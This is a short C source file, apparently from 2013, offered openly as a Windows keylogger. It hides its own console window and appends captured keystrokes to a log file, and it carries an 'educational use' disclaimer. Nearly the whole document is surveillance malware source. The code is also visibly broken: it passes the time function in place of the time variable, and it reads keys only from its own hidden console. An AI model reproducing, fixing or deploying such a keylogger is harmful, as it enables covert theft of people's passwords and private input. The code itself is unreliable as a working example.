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/* | |
Simple WINDOWS keylogger by jkrix 2013. | |
User may distribute and modify source code but MUST keep this top commented section in the source code! | |
Very important note: | |
To be used for educational use and not for malicious tasks! | |
I will NOT be held responsible for anything silly you may do with this! | |
*/ | |
#include <stdio.h> | |
#include <conio.h> | |
#include <windows.h> | |
#include <time.h> | |
#define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file | |
int main(){ | |
char capture; | |
FILE *file; | |
// Time stuff. | |
time_t t; | |
t = time(NULL); | |
// Hide the window | |
HWND window; | |
AllocConsole(); | |
window=FindWindowA("ConsoleWindowClass",NULL); | |
ShowWindow(window,0); | |
file = fopen(PATH, "a+"); | |
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time)); | |
while(1) | |
{ | |
Sleep(20); // To make sure this program doesn't steal all resources. | |
if (kbhit()) | |
{ | |
capture = getch(); | |
// Just add in some helper strings here to the file, feel free to modify these to your needs. | |
switch ((int)capture){ | |
case ' ': // Space key...obviously. | |
fprintf(file, " "); | |
break; | |
case 0x09: // Tab key. | |
fprintf(file, "[TAB]"); | |
break; | |
case 0x0D: // Enter key. | |
fprintf(file, "[ENTER]"); | |
break; | |
case 0x1B: // Escape key. | |
fprintf(file, "[ESC]"); | |
break; | |
case 0x08: // Backspace key. | |
fprintf(file, "[BACKSPACE]"); | |
break; | |
default: | |
fputc(capture,file); // Put any other inputted key into the file. | |
} | |
if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want. | |
fclose(file); | |
return 0; | |
} | |
} | |
} | |
} |
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